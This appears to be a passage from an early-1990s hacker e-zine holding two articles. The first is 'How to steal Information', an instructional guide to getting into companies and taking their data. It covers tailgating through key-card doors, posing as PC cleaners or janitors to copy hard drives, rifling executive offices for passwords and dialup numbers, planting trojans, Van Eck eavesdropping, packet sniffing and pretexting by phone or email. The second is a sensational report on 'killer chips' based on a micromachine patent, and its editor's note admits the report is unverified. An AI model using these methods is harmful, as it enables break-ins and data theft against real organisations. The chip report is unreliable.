"Notes on Centigram Voice Mail system Consoles" was written
anonymously. There are no group affiliations tied to this file.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NIA074 / File 05
How to steal Information
The Butler...
Now that we have entered the "Information Age" we must realize that
information is an asset worth protecting. The problem is that what
some people consider trash others view as gold. That is why on any
given day you can find mounds of valuable information in most
companies trashcans, employees desks, and on floppy disks lying
around the office. This article will focus on the different ways
of gaining access to that information which is most often left
unprotected.
To begin with I will discuss the most vulnerable aspect of any
security plan, people. Individuals are the weakest link in any
security system whether it be a guard check point or a CN/A
operator, the reason this is so is because when ever a human is
brought into the picture to determine whether or not to give access
or information to another human more often than not a judgement
call has to be made. As human beings we have feelings like sorrow
and pity to deal with, and those feelings can and are exploited.
Now lets say you wanted to gain access to a certain building that
required some sort of Key-Card to open the door. With out having
one yourself you could either 1) steal one, 2) make your own, or 3)
walk in behind someone else who does have one. Number 3 is the one
I want to expand on here. I have used this method myself, for
legitimate purposes of course. By looking like you belong in said
building and waiting by the door with a confused and sad look on
your face you could say to someone "I left my Key-Card at home" and
just walk in behind them. Now this probably wouldn't work at a
small company but more likely at a large institution with several
entrances, use the back door! When I said look like you belong I
mean dress accordingly. i.e. to go to a high tech software company
you should be wearing a suit with a briefcase in hand. Just in
case why don't you case the establishment for a few days before
your attempt and make note of what the majority of employees are
wearing.
Another scenario could be at a industrial firm that you were
interested in. In this case we will try and play on another human
feeling, greed. Chances are in this situation the individuals
responsible for any and all computers are, well less than computer
literate. You could send them a letter in the mail advertising a
free cleaning and inspection of all personal computers on the
premises. This is an excellent way of gathering information from
heavily industrialized companies. Usually places where computers
are practically on the factory floor will be more than happy to let
you clean their machines. While doing so just copy to your hearts
content, or if you are adventurous you could take a portable and
connect it via a serial port or whatever and copy the entire hard
drive. Just tell them you are running some diagnostics.
The last scenario I will cover is another example of disguising
yourself. I know this one works and it seems that people are doing
it quite frequently. Just get a job with a janitorial firm and
sneak away from the actual work to do your bidding.
After gaining access to any company by whatever means you have to
know where to look. To begin with go to the largest office you can
find, usually in a corner with a good view. These prime offices
usually belong to those in the upper echelon of the company. Once
in the office you obviously should start with computers since you
can copy electronic information easier than hardcopy. Next you
should turn to the desk drawer and file cabinets in the office.
Check the rolodex for dialup #'s and passwords. Basically don't
leave any stone unturned. Depending on what you are looking for
you might want to start out in the Data Processing department since
their computers are the heart of the whole business. From there
you can plant trojan horses, copy proprietary software, or steal
specific data.
Some other means of disguise:
PC Repair Shop Technician
Software Demonstrator
All of the above items can be used for completely legal purposes
also.
The above have all been physical means of gathering information,
now lets turn to other ways.
Van Eck
With the proper equipment it is possible to capture every
electronic pulse that is sent out from a keyboard or a monitor
while you are hidden far away from the actual activity. The U.S.
Government calls this the Tempest project. If you are ever in a
government office just take a look at their computers. I know that
the armed services have all of their computers protected by heavy
metal shielding around all computers, even pc's in army recruiting
stations. Check the loompatics(sp) catalog for a book called Van-
-Eck Phreaking, it explains the whole process and the equipment
needed. This method would generally be used to steal usernames and
passwords.
Network Protocol Analyzers
If you have access to a Local Area Network you might already have
one of these puppies. A Network protocol analyzer is a device that
lets you examine every packet that is sent out over a network. I
am talking about Novell, Banyan and 3COM networks if you are
wondering. By using one of these you can capture every byte that
travels from any given workstation to the file server. This
equipment is very expensive but could well be worth it depending on
what you are after. This method could be used to steal everything
from usernames and passwords to actual data.
Keyboard & Monitor Capture program
I have never done this but I think it could be possible to write a
program (a trojan) that would capture everything that is entered
from the keyboard and everything that goes across the monitor and
save it in a hidden file somewhere on a network.
Old Reliable--Social Engineering
Now (with a known bug) we can social engineer electronically via
E-mail. The Telnet bug which allows you to send a message to
someone without them knowing the source can be very useful.
Unlimited applications.....And there is always the telephone for
the same purpose. Just make up a story and try it out. The
obvious "Hello I am the Sysop please change your password to ____"
is not what I am talking about. You need to be more creative like
posing as a salesman or a surveyor to get information that will
make your "Crack" easier.
I hope this helps you with your quest for knowledge!!!
The Butler...
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NIA074 / File 07
Invisible Killer Chips Now Availible
Jean-Bernard Condat
General Secretary
Chaos Computer Club France
B.P. 8005
69351 Lyon Cedex 08, France
Tel.: +33 78 61 15 88
Intelligence Newsletter (10 rue du Sentier, 75002 Paris, France)
No. 186 (Jan. 29, 1992), page 2, ISSN 0997-7139
By: Jean-Bernard Condat (CCCF, B.P. 8005, 69351 Lyon Cedex 08, France)
The military use of computer viruses is often overblown, if not just
simple disinformation as in the recent Iraqi case. But researchers at
Boston University have developed and patented (U.S. patent 5 049 775)
an infinitely more offensive and effective anti-computer agent: the
silicon ant. Micro-electronics has perfected technologies for making
toys and machines so small that they are invisible.
Using piezoelectric ceramics which expand or contract under an
electric current, the researchers constructed a microscopic ship with
three "legs" on each side and a "cutter" in front. By alternating
current in different sides of each "leg", it bends forward or backward.
Under remote control the killer chips can be "walked" into a computer
and cut up other microscopic chips, turn around and "walk" away, leaving
invisible damage in the computer system. The killer chips could be solar
powered and therefore have an indefinite life-span.
PATENT DESCRIPTION
008245420 WPI Acc No: 90-132421/17
XRPX Acc No: N90-102550
Piezoelectric micro-machine or robot basic operating unit - made by
covering silicon cantilever beams projecting from frame with
piezoelectric material when applied voltages cause them to deflect
Patent Assignee: (UYBO-) BOSTON UNIV
Author (inventor): SMITS J G
Number of Patents: 002
Patent Family:
CC Number Kind Date Week
WO 9003665 A 900405 9017 (Basic)
US 5049775 A 910917 9140
Priority Data (CC,No,Date): US 251565 (880930);
Applications (CC,No,Date): WO 89US4129 (890921);
EP and/or WO Language: English
EP and/or WO Cited Patents:
No.SR.Pub
Designated States (National): JP (Regional): AT; BE; CH; DE; FR; GB; IT; LU
; NL; SE
Abstract (Basic): WO 9003665
An electrical micromachine is made by securing films (20,22) of
piezoelectric material to the top surfaces (16,18) of crystalline
silicon beams (12,14) projecting from a crystalline silicon body (10)
to form a bimorph structure. A potential applied across the ends
(24,26) of the piezoelectric films causes the beams to deflect. The
piezoelectric material used is zinc oxide.
A number of such micromachines can be assembled to form a robot,
and when a foot (30) is provided the machine can move itself along a
surface by sequential deflecting and straightening of the beams. The
foot can be associated with a toothed wheel to produce rotary motion.
The micromachine may be solar powered, and can be associated with
sensors or a microprocessor with programmable memory.
USE - Microsurgical tools, and robots for grasping, carrying or
cutting tasks. @(33pp Dwg.No.1/10)@
Abstract (US): 9140 US 5049775
The piezoelectric actuation machine comprises two cantilever beams
extending from a frame. The beams comprise a piezoelectric material
such that application of an electric potential across the material of
each beam rotationally diplaces the first and second beams relative to
each other.
An actuating member is secured between displaceable surfaces on
the beams and extends orthogonally from a plane through the beams such
that relative displacement of the beams displaces a portion of the
member in a direction orthogonal to beam displacement. A rigid object
contacting the displaced portion of the member is translated relative
to the member and the frame.
USE - For piezoelectric micromachines e.g. small robot or
cutting tool. @(17pp)@
File Segment: EPI
Derwent Class: S05; V06; X25; R46;
Int Pat Class: H01L-041/09
Manual Codes (EPI/S-X): S05-B; V06-M06D; X25-A03E
[Editor's Note: I have not investigated to see if this patent really does
exist due to the timing of the article so close to the release date. This
is a rush-in and I am basing all of its credibility to Chaos Computer
Club France (CCCF) and Jean-Bernard Condat.]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
